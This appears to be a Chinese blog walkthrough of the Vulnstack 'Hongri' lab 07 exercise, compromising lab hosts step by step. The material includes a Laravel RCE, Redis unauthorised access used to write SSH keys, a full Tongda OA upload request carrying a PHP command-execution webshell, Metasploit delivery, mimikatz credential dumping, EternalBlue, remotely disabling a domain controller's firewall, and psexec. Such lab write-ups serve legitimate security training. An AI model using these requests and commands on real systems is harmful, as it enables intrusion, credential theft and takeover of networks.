点击上方“蓝字”,关注更多精彩
红日靶场06下载完机器后,可能是环境的问题无法搭建,就先跳过,有时间再研究06。这个07靶场来来回回搞了好几次,电脑配置不行,崩了很多次。。。
环境搭建
共5台靶机在此链接进行下载,按照描述搭建环境即可,描述写得十分详细这里不多赘述。
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
信息收集
主机发现
端口扫描
访问80端口发现404,重启了几次nginx服务还是不行,后来看到网上别的师傅的复现,80仅仅是一个博客,重点放在81上即可。
81端口发现是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14),Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
目录扫描
Laravel漏洞搜索与利用
在2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。参考文章:《Laravel Debug mode RCE(CVE-2021-3129)漏洞复现》
searchsploit
searchsploit发现没有漏洞利用,那就百度!
kali)-[~/Documents/ATT&CK7]
searchsploit laravel
---------------------------------
Exploit Title | Path
---------------------------------
Laravel - 'Hash::make()' Password Truncation Se | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code executio | php/webapps/49424.py
Laravel Administrator 4 - Unrestricted File Upl | php/webapps/49112.py
Laravel Log Viewer < 0.13.0 - Local File Downlo | php/webapps/44343.py
Laravel Nova 3.7.0 - 'range' DoS | php/webapps/49198.txt
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Ar | php/webapps/46389.py
---------------------------------
Shellcodes: No Results
Laravel Debug mode RCE漏洞利用
尝试使用这个exp工具 https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP,得知了webshell地址之后,发现蚁剑无法链接,而且查了才知道,这个shell只能通过哥斯拉2.0去连接。因为不是主线,这里就不多赘述了哈。
漏洞利用--redis未授权
由于之前扫描发现了6379端口redis服务的开放,于是乎开始尝试使用redis未授权。可以看到直接连就连上去了。不过不要开心太早,连上去也有可能没有权限。
对于redis未授权漏洞是一个老生常谈的攻击手法了,有四种攻击方式:1、写入webshell 2、写入ssh公钥(正好这个靶机存在22端口)3、写入计划任务进行bash反弹shell 4、redis主从复制。
redis未授权--主从复制攻击
我这里懒得敲命令了,直接上脚本,但是脚本出现了unknown command
这个报错,这条报错在redis服务中很常见,多数是因为低版本导致的。
无奈之下,只能手动进行bash反弹测试
redis未授权--bash反弹
这样设置是回不来的,因为目标是ubuntu系统,所以要么设置到/etc/crontab
,要么就不用。
redis--写入ssh公钥
1、kali生成ssh公私钥对
ssh-keygen
2、设置要写入的redis路径和文件名
redis-cli -h 192.168.31.6
config get dir
config set dir "/root/.ssh"
config get dbfilename
config set dbfilename authorized_keys
3、处理kali公钥内容,首尾添加换行
4、写入kali公钥
cat id_rsa.pub | redis-cli -h 192.168.31.6 -x set b
5、连接成功
ssh -i id_rsa root@192.168.31.6
边界机MSF上线
利用scp命令(这里不需要再输入密码了,因为直接公钥连接了)传输木马过去,同时开启msf监听上线成功。
一层内网渗透
本地信息收集
上图可以看到52.20:8000就是Laravel,也就是做了反向代理的Laravel网站,可以在52.10上找到nginx的配置详情。
网络信息收集
构建隧道
配置frpc.ini,将52.30的8080端口转发到本地的8888端口
访问到了内网机器的OA系统,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。
通达OA v11.3 漏洞利用
https://blog.csdn.net/szgyunyun/article/details/107104288
大概的方法就是前端改包绕过验证进入后台,随后文件上传图片马,之后文件包含即可getshell。我这里就不做前端绕过验证了
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.31.84:8888
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
文件包含图片马,getshell成功
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.31.84:8888
Connection: keep-alive
gzip, deflate :
Accept: */*
python-requests/2.21.0 :
69 :
application/x-www-form-urlencoded :
json={"url":"/general/../../attach/im/2205/1702339734.jpg"}&cmd=whoami
MSF上线
1、powershell上线
msf生成powershell的payload直接让目标机器上线
use exploit/multi/script/web_delivery
set lhost 192.168.31.84
set lport 6541
show targets
set target 2(PSH, powershell)
run
2、wget上线
wget访问这个链接就行了
通过信息收集发现了此台机器还是一个边界机,存在第二层内网93.0/24
,到目前我们发现的机器为这些。
二层内网渗透
MSF会话转到CS
简单信息收集
net config workstation
net user
net user /domain
net localgroup administrators
net view /domain
net user 用户名 /domain
net group /domain
net group 组名 /domain
net group "domain admins" /domain
net group "domain computers" /domain
net group "domain controllers" /domain
目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。
内网资产汇总
Server | IP |
---|---|
Microsoft DNS | 192.168.52.2 |
PC1 | 192.168.52.30 192.168.93.20 |
DC | 192.168.93.30 |
PC2 | 192.168.93.40 |
抓取域用户密码
用msf或者cs软件都可以,也可以直接上传mimikatz。msf命令如下,不过注意需要迁移到一个x64的进程。不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏,可以迁移到mysqld进程中不能迁移到普通用户的进程中,会导致shell权限不足。也不能迁移到系统进程中,可能会导致蓝屏)
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
成功抓到域管理员账户密码administrator:Whoami2021
域成员win7账密:bunny:Bunny2021
横向渗透
查看当前主机网段信息再添加一个路由通向DC主机网段,利用扫描模块判断93.0网段下主机存活
use auxiliary/scanner/smb/smb_version
永恒之蓝正向打击
93.40为内网下的另一台win7主机,93.30为2012域DC服务器,93.20为本地win7主机接着往下打
这里直接对win7扫描ms17-010漏洞:windows/smb/ms17_010_eternalblue
攻击域控
远程关闭DC防火墙
回弹会话接着渗透第三层网段内的DC:2012 R2这台主机,前面有域管账户密码可以本地代理过去也行,但这次利用psexec smb传输直连会话,首先利用win7主机远程关闭2012 R2域控的防火墙
net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator"
net use
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall
#unablefirewall为创建的服务名
#binpath后面是运行exe文件的所在路径
PTH
篇幅太长了,不截图了,msf hash传递就可以了。
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
run
权限维持
这里就不做了,方法很多,最基本的就是会话转到CS或者黄金票据等操作。
总结
总的来说红日靶场07不是特别难,就是麻烦一些,套路都是一样的。关键技术点都是前面靶场所提及到的,是一个很大的综合体。
知识点总结
这里总结一下我遇到的以及其他思路涉及到的知识点
Laravel RCE、redis未授权四种利用方式、通达OA v11.3前台绕过致使文件上传与包含getshell、docker逃逸、nginx反向代理突破、windows本地明文密码与hash获取、远程关闭防火墙、永恒之蓝攻击、域提权漏洞、windows server2012明文获取方式
references
https://xz.aliyun.com/t/9574#toc-12
https://www.freebuf.com/articles/network/264560.html
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):红日靶场07详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论